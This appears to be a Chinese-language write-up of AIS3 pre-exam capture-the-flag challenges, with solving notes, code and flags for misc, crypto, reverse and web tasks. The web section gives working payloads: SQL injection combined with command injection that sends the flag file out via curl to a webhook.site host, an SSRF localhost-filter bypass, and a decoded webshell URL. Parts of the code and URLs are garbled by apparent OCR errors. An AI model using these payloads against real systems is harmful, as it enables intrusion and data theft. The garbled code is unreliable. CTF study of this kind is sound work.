AIS3 Preexam

Welcome

Cat Slayer fake | Nekogoroshi

- 暴力試出來的 密碼: 2025830455298 AIS3{H1n4m1z4w4_Sh0k0gun}

Misc

Microcheese

• code 運輸本身有問題 ```python= while not game.ended(): game.show() print_game_menu() choice = input('it's your turn to move! what do you choose? ').strip()

```
if choice == '0':
     pile = int(input('which pile do you choose? '))
    count = int(input('how many stones do you remove? '))
if not game.make_move(pile, count):
        print_error('that is not a valid move!')
          continue
elif choice == '1':
    digest = hash.hexdigest(game_str.encode())
print('you game has been saved! here is your saved game:')
     print(game\_str + ':' + digest)
elif choice == '2':
     break
# no move -> player wins!
if game.ended():
     win = True
    break
    print_move('you', count, pile)
    game.show()
# the AI plays a move
pile, count = ai_player.get_move(game)
assert game.make_move(pile, count)
print_move('i', count, pile)
```

沒有處理輸入 0,1,2 以外的動作,所以設 AI 會一直行動
 一直到剩下一個玩家直接拿走就可以贏了
 AIS3{5._e3_b5_6._a4_Bb4_7._Bd2_a5_8._axb5_Bxc3}

Blind

include <stdio.h>

include <stdlib.h>

include <unistd.h>

include <fcntl.h>

include <sys/syscall.h>

int syscall_black_list[] = {};

void make_a_syscall() { unsigned long long rax, rdi, rsi, rdx; scanf("%llu %llu %llu %llu %llu", &rax, &rdi, &rsi, &rdx); syscall(rax, rdi, rsi, rdx); }

int main() { setvbuf(stdin, 0, 2, 0); puts("You can call a system call, then I will open the flag for you."); puts("Input: [rax] [rdi] [rdx]"); close(1); make_a_syscall(); int fd = open("flag", O_RDONLY); char flag[0x100]; size_t flag_len = read(fd, flag, 0xff); write(1, flag, flag_len); return 0; }

```
* stdout 會被 close, 所以沒有輸出
* 參考的資料: https://www.796t.com/post/NGo3d0==.html
* 用 dup 來複製
* https://filippo.io/linux-syscall-table/
   * dup -> 32
* 本來要重啟 stdout 發現被關了, `32 1 0 0
* 之後想說不然複製 stdin 好了 `32 0 0 0` 然後就拿到 flag 了
* `AIS3{dupppppgagagaub}`
### [震撼彈] AIS3 官網疑遭駭!
* 開啟 pcap 檔案
* follow 一下 tcp stream 可以看到其中一個封包與眾不同,滿明顯就是 shell 了
* 他的 shell 是 reverse_string(url_encode(base64_encode(command)))
* magic.ais3.org 經過 DNS 解析會錯誤
     * 在 /etc/hosts 加入 `10.153.11.126 magic.ais3.org`
* 之後在根目錄發現了 flag
* final payload : `http://magic.ais3.org:8100/Index.php?page=%3DQGN4EmYyIWZ4MW01QmM1FGN1V2MyE2NjZmMyIzMwYzYfdWYSZ2Lu4CI0F2Y'
* `AIS3{0h!Why_do_U_kn0w_this_sh3ll1!11!}`
## Crypto
### Microchip
* 改一下他的 code
* 暴力給 id 可以拿到相應的 kev
* 就可以把 flag 解出來了
  python=
def generate_key(id):
   keys = list()
    temp = id
   for _ in range(4):
       keys.append(temp % 96)
       temp = int(temp / 96)
   keys.reverse()
    return keys
name = open("output.txt", "r").read().strip()
for i in range(96*96*96*96):
    keys = generate_key(i)
   padded = name
    result = "'
    for i in range(0, len(padded), 4):
        nums = list()
       for j in range(4):
           num = ord(padded[i + j]) - 32
           num = ((num - keys[j]) + 96) % 96
           nums.append(num + 32)
       result += chr(nums[3])
       result += chr(nums[2])
        result += chr(nums[1])
        result += chr(nums[0])
    if 'AIS3{' in result:
        print(result)
       break
```

• AIS3{w31c0me_t0_AIS3_crypto0000000000}

Reverse

Peekora

- python3 -m pickletools flag_checker.pkl -a 看 opcode 可以看到是很多 __eq__ 去比較的 把它拼起來就可以拿到 flag 了
- AIS3{dAmwjzphIj}

COLORS

- ### Proceedings ### Process ### Process**

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```
* 一開始看到 arrowup arrowdown arrowright arrowleft b a 就直接試 上上下下左左右右 ba 就進到下一步了
* 基本上 function init 是 encode 的方式
* 反過來做就可以了
* `40820g30i51J60601\30w40130A41j40\41130g70u30i10k30l40760x50i50X10K10I40h50X00K41i51l70670f40o10650570K11n51870741B50-11840w31a10r41z70K30=20=10=` 把`=' 先删掉 之後三個三個一組
...js=
function init(params) {
   const unescape = internalizeProducer;
   if (!params[length]) {
     return "";
   let a = "":
   let ipv6 = "";
   let frameNumber = 0;
   for (let i = 0; i < params[length]; i++) {
     a = a + params[charCodeAt](i)["toString"](2)[padStart](8, "0");
   /** @type {number} */
   frameNumber = a[length] % max / 2 - 1;
   if (frameNumber != -1) {
     a = a + "0"[repeat](max - a[length] % max);
   a = a[unescape(484)](/(.{1,10})/g);
   for (let x of a) {
  let pivot = parseInt(x, 2);
     ipv6 = ipv6 + wrap(pivot >> 6 & 7, pivot >> 9, atob(wpoStr)[pivot & 63]);
   for (; frameNumber > 0; frameNumber--) {
     ipv6 = ipv6 + wrap(frameNumber % fps, 0, "=");
   return ipv6;
```

- 將字元轉成 charCode,然後轉成字串(二進位)並補到 8 位元
 將結果補到 10 的倍數
- 將結果以 10 個字元一組, 轉成數字
- 將結果以 10 10 ナックランタ 毎組産出三個字元

""python= data = ['408', '20g', '301', '51J', '606', '01\', '30w', '401', '30A', '41j', '40V', '411', '30g', '70u', '30i', '10K', '30i', '40v', '31a', '10r', '40h', '50X', '00K', '41i', '51l', '706', '70f', '40o', '106', '505', '70K', '11n', '518', '707', '41B', '50-', '118', '40w', '31a', '10r', '41z', '70K'] fake = "AlS3(BasE64_i5+b0rNlng-\Qwo/-xH8WzCj7vFD2eyVktqOL1GhKYufmZdJpX9)" flag = "" for d in data: num = 0 num += int(d[0]) << 6 num += int(d[1]) << 9 num += fake.index(d[2]) flag += "(0:010b)". format(num)

 $for \ i \ in \ range(0, len(flag), 8): print(chr(int(flag[i:i+8], 2)), end=")$

print()

```
## Web
### 【5/22 重要公告】
* http://quiz.ais3.org:8001/?module=modules/api&id=1 很可疑
* http://quiz.ais3.org:8001/?module=php://filter/convert.base64-encode/resource=modules/api&id=1 拿到 source code
<?php
header('Content-Type: application/json');
include "config.php";
$db = new SQLite3(SQLITE_DB_PATH);
if (isset($_GET['id'])) {
    $data = $db->querySingle("SELECT name, host, port FROM challenges WHERE id=${_GET['id']}", true);
    $host = str_replace(' ', '', $data['host']);
    $port = (int) $data['port'];
   $data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"), "succeeded") !== FALSE;
    echo json_encode($data);
} else {
   $json_resp = [];
    $query_res = $db->query("SELECT * FROM challenges");
   while ($row = $query_res->fetchArray(SQLITE3_ASSOC)) $json_resp[] = $row;
    echo json_encode($json_resp);
{"name":"Web Challenges Monitor","host":"quiz.ais3.org","port":8001,"alive":true}
```

- 明顯是 sql injection + command injection 注入點是 host 有過濾空白,用 \${IFS} bypass
- final payload: http://quiz.ais3.org;8001/?module=modules/api&id=0%20union%20select%20%22name%22,%20%22quiz.ais3.org%27;curl\${IFS}https://webhook.site/44c5027c-201c-4993-ab2d-fe2c6f444aa9\? q=\$(echo\${IFS}`cat\${IFS}/f*`|base64)%27%22,%208001
- AIS3{o1d_skew1_w3b_tr1cks_co11ect10n_:D}

another login page

""python= from flask import Flask, request, make_response, redirect, session, render_template, send_file import os import json

app = Flask(name) app.secret_key = os.urandom(32)

FLAG = os.environ.get('FLAG', 'AIS3{TEST_FLAG}') users_db = { 'guest': 'guest', 'admin': os.environ.get('PASSWORD', 'S3CR3T_P455W0RD') }

@app.route("/") def index(): def valid_user(user): return users_db.get(user['username']) == user['password']

```
if 'user data' not in session:
   return render_template("login.html", message="Login Please :D")
user = json.loads(session['user data'])
if valid_user(user):
   if user['showflag'] == True and user['username'] != 'guest':
       return FLAG
   else:
        return render_template("welcome.html", username=user['username'])
return render_template("login.html", message="Verify Failed :(")
```

@app.route("/login", methods=[POST]) def login(): data = '("showflag": faise, "username": "%s", "password": "%s")" % (request.form["username"], request.form["password"]) session["user_data"] = data return redirect("/")

@app.route("/logout") def logout(): session.clear() return redirect("/")

@app.route("/sauce") def sauce(): return send_file(file, mimetype="text/plain")

HaaS

• 明顯是 ssrf 因為試 127.0.0.1 被擋下來了

- 用 127.00000.00000.0001 bypass
 之後會是 Alive 加上有送 status 把 status 改一下就可以拿到 source code 了
 final payload: curl -X POST --data 'url=http://127.00000.00001/8status=400' http://quiz.ais3.org;7122/haas -v
 AIS3{V3rY_v3rY_V3ry_345Y_55rF}